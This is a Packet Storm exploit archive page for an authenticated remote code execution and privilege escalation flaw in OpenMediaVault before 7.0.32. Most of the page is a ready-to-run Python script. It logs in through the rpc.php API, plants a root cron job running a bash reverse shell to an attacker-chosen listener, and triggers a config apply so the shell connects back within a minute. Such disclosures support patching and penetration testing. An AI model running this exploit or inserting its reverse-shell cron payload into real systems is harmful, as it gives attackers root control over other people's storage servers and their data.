what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Openmediavault Remote Code Execution / Local Privilege Escalation

Openmediavault Remote Code Execution / Local Privilege Escalation
Posted May 9, 2024
Authored by Mert BENADAM

Openmediavault versions prior to 7.0.32 have a vulnerability that occurs when users in the web-admin group enter commands on the crontab by selecting the root shell. As a result of exploiting the vulnerability, authenticated web-admin users can run commands with root privileges and receive reverse shell connections.

tags | exploit, web, shell, root
SHA-256 | f54e108c3e072e69c000f9759d386e86aae92493e17fbe4348a5bdd7b5278328

Openmediavault Remote Code Execution / Local Privilege Escalation

Change Mirror Download
# Exploit Title: Openmediavault < 7.0.32 Authenticated RCE & Local Privilege Escalation
# Date: 08.05.2024
# Exploit Author: Mert BENADAM
# Vendor Homepage: https://www.openmediavault.org/
# Software Link: https://sourceforge.net/projects/openmediavault/
# Version: < 7.0.32
# Tested on: OMV 7.0.32 & 6.5 @Virtual Machine
# Description: OpenMediaVault is the next generation network attached storage (NAS) solution based on Debian Linux.


# Special Thx: k3yZ :)
"""
PoC:
This vulnerability occurs when users in the web-admin group enter commands on the crontab by selecting the root shell.
As a result of exploiting the vulnerability,authenticated web-admin users can run commands with root privileges and receive reverse shell connections.
It can also be used in privilege escalation attacks on local systems.
"""

import argparse
import requests
import json

def login(ip_address, username, password, lhost, lport):
try:
login_data = {
"service": "Session",
"method": "login",
"params": {
"username": username,
"password": password
},
"options": None
}

url = f"http://{ip_address}/rpc.php"

response = requests.post(url, json=login_data)

if response.status_code == 200:
print("Login Success , Checking User Privilages...")
post_check(ip_address, response.cookies, lhost , lport)
else:
print("login Failed, Probably Wrong User Credentials...")

print("Reason:")
print(response.json())

except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Unexpected Error:", e)

def post_check(ip_address, cookies, lhost, lport):
try:
post_data = {
"service": "Cron",
"method": "getList",
"params": {
"type": ["userdefined"],
"start": 0,
"limit": -1
},
"options": None
}

url = f"http://{ip_address}/rpc.php"
response = requests.post(url, json=post_data, cookies=cookies)



if response.status_code == 200:
print("Accesing Crons...OK")
send_post(ip_address, cookies, lhost , lport)


elif response.status_code == 403:
print("Kullanıcı yetkili değil.")
else:
print("Post Request Failure...")

except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Beklenmeyen bir hata oluştu:", e)

def send_post(ip_address, cookies, lhost , lport):
try:


post_data = {
"service": "Cron",
"method": "set",
"params": {
"uuid": "fa4b1c66-ef79-11e5-87a0-0002b3a176b4", # UUID
"enable": True,
"execution": "exactly",
"minute": ["*"],
"everynminute": False,
"hour": ["*"],
"everynhour": False,
"dayofmonth": ["*"],
"everyndayofmonth": False,
"month": ["*"],
"dayofweek": ["*"],
"username": "root",
"command": f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'", # Command From User
"sendemail": False,
"comment": "",
"type": "userdefined"
},
"options": None
}

url = f"http://{ip_address}/rpc.php"
response = requests.post(url, json=post_data, cookies=cookies)

if response.status_code == 200:
print("Payload Sent... OK,")
update(ip_address, cookies)
elif response.status_code == 403:
print("User Not Authrorized.")
else:
print("Something Wrong.CHECK your version...")


except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Unexpected Error:", e)


def update(ip_address, cookies):
try:

post_data = {
"service": "Config",
"method": "applyChangesBg",
"params": {
"modules": [],
"force": False
},
"options": None
}


url = f"http://{ip_address}/rpc.php"

response = requests.post(url, json=post_data, cookies=cookies)

if response.status_code == 200:
print("Updating crontabs...")
print("Successfully Exploited...")
print("Exploited Shell Will Be Triggered In 1 Minute, Check Your Listener...")
print("Warning: Make sure You Open a listener And Enter Correct IP-PORT Information...")
elif response.status_code == 403:
print("User Not Authrorized.")
else:
print("Someting Wrong. Check version...")

except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Unexpected Error:", e)


def main():
font="""

███╗ ██╗ ██████╗ ███╗ ███╗███████╗██████╗ ██████╗██╗ ██╗ ██████╗ ██████╗
████╗ ██║██╔═══██╗████╗ ████║██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔═████╗██╔═████╗
██╔██╗ ██║██║ ██║██╔████╔██║█████╗ ██████╔╝██║ ╚████╔╝ ██║██╔██║██║██╔██║
██║╚██╗██║██║ ██║██║╚██╔╝██║██╔══╝ ██╔══██╗██║ ╚██╔╝ ████╔╝██║████╔╝██║
██║ ╚████║╚██████╔╝██║ ╚═╝ ██║███████╗██║ ██║╚██████╗ ██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝

"""
parser = argparse.ArgumentParser(description="OpenMediaVault 7.0.32 > 6.5.0 RCE And Local Privilage Escalation")
parser.add_argument("-U", "--ip", type=str, help="Victim Ip Adress", required=False)
parser.add_argument("-u", "--username", type=str, help="Username For Web Admin", required=False)
parser.add_argument("-p", "--password", type=str, help="Password For Web Admin", required=False)
parser.add_argument("-L", "--lhost", type=str, help="Listener IP Adress For Reverse Shell", required=False)
parser.add_argument("-P", "--lport", type=str, help="Listener Port For Reverse Shell", required=False)

args = parser.parse_args()

if args.ip and args.username and args.password and args.lhost and args.lport:
print(font)
login(args.ip, args.username, args.password, args.lhost , args.lport)
else:
print(font)
parser.print_help()

if __name__ == "__main__":
main()


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close